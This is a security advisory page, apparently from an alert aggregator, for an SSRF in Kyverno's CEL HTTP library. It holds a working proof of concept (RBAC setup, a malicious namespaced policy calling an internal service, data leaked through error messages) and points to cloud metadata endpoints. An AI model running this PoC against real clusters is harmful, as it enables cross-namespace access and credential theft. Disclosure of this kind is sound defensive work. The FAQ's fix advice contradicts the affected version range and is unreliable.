CVE-2026-4789: SSRF

Published Mar 30, 2026
·
Updated

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

Affected Versions

- Kyverno >= 1.16.0 (with policies.kyverno.io CRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

Details

The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.

Vulnerable Code: pkg/cel/libs/http/http.go go func (r contextImpl) Get(url string, headers map[string]string) (any, error) { req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil) // NO URL VALIDATION - no blocklist, no namespace restrictions ... }

Contrast with resource.Lib which enforces namespace: go // pkg/cel/libs/resource/lib.go func Lib(namespace string, v version.Version) cel.EnvOption { return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced }

This is a different code path from previously reported issues: - GHSA-8p9x-46gm-qfx2: pkg/engine/apicall/apiCall.go (URLPath) - Fixed - GHSA-459x-q9hg-4gpq: pkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http) - This issue: pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixed

PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

1. Setup attacker with namespace-scoped permissions bash kubectl create namespace attacker-ns kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: namespace-admin-role namespace: attacker-ns rules: - apiGroups: [""] resources: ["configmaps"] verbs: ["create", "get", "list"] - apiGroups: ["policies.kyverno.io"] resources: ["namespacedvalidatingpolicies"] verbs: ["create", "get", "list"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: namespace-admin-binding namespace: attacker-ns subjects: - kind: ServiceAccount name: namespace-admin namespace: attacker-ns roleRef: kind: Role name: namespace-admin-role apiGroup: rbac.authorization.k8s.io EOF

2. Create sensitive internal service (simulating internal API or cloud metadata) bash cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: internal-api namespace: kube-system labels: app: internal-api spec: containers: - name: server image: hashicorp/http-echo args: - "-text={\"secret\": \"STOLENINTERNALSECRET12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}" - "-listen=:8080" --- apiVersion: v1 kind: Service metadata: name: internal-api namespace: kube-system spec: selector: app: internal-api ports: - port: 80 targetPort: 8080 EOF

3. Verify attacker cannot access kube-system directly bash kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin Output: no

4. Create malicious NamespacedValidatingPolicy (as attacker) bash cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f - apiVersion: policies.kyverno.io/v1beta1 kind: NamespacedValidatingPolicy metadata: name: cel-ssrf-poc namespace: attacker-ns spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["configmaps"] variables: - name: stolenData expression: | http.Get('http://internal-api.kube-system.svc.cluster.local') validations: - expression: "false" message: "Validation failed" messageExpression: | 'SSRFLEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token'] EOF

5. Trigger exploit and exfiltrate data bash kubectl create configmap trigger --from-literal=x=y -n attacker-ns \ --as=system:serviceaccount:attacker-ns:namespace-admin

6. Result - Secret data exfiltrated error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" denied the request: Policy cel-ssrf-poc failed: SSRFLEAKED: secret=STOLENINTERNALSECRET12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Impact

1. Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace 2. Cloud credential theft: Access to http://169.254.169.254/... allows stealing AWS/GCP/Azure IAM credentials 3. Data exfiltration: HTTP response data exposed via validation error messages or audit annotations 4. Breaks namespace isolation: Inconsistent with Kyverno's security model where resource.Lib enforces namespace boundaries

Affected Policies

All CEL-based namespaced policies in policies.kyverno.io API group: - NamespacedValidatingPolicy - NamespacedMutatingPolicy - NamespacedDeletingPolicy - NamespacedImageValidatingPolicy

Suggested Fix

Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries: go type lib struct { namespace string // Add namespace parameter version version.Version }

func (r contextImpl) Get(url string, headers map[string]string) (any, error) { if err := r.validateURL(url); err != nil { return nil, fmt.Errorf("blocked URL: %w", err) } // ... existing code }

func (r contextImpl) validateURL(urlStr string) error { // Block cloud metadata (169.254.0.0/16) // Block localhost/loopback (127.0.0.0/8) // For namespaced policies: restrict to same namespace services only }

Attached kyverno-cel-ssrf-poc.sh

Credit

Discovered by: Igor Stepansky Organization: Orca Security Email: igor.stepansky@orca.security Personal Email: stepanskyigor@gmail.com

Other sources

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

MITRE

Affected Software

3 affected componentsFixes available
Kyverno Kyverno>=1.16.0
Kyverno Kyverno>=1.16.0<=1.17.1
go/github.com/kyverno/kyverno>=1.16.0<1.17.0
1.17.0

Event History

Mar 30, 2026
CVE Published
via MITRE·08:44 PM
Data Sourced
via MITRE·08:44 PM
DescriptionWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeaknessAffected Software
Apr 14, 2026
Advisory Published
via GitHub·10:37 PM
Data Sourced
via GitHub·10:37 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-4789?

CVE-2026-4789 is rated as a high severity vulnerability due to the potential for server-side request forgery (SSRF).

2

How do I fix CVE-2026-4789?

To fix CVE-2026-4789, update Kyverno to a version that addresses the SSRF vulnerability, specifically any version later than 1.16.0.

3

What versions of Kyverno are affected by CVE-2026-4789?

CVE-2026-4789 affects Kyverno versions 1.16.0 and later.

4

What type of vulnerability is CVE-2026-4789?

CVE-2026-4789 is a server-side request forgery (SSRF) vulnerability due to unrestricted CEL HTTP functions.

5

Who is the vendor for the CVE-2026-4789 vulnerability?

The vendor for the CVE-2026-4789 vulnerability is Kyverno, responsible for the Kyverno product.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203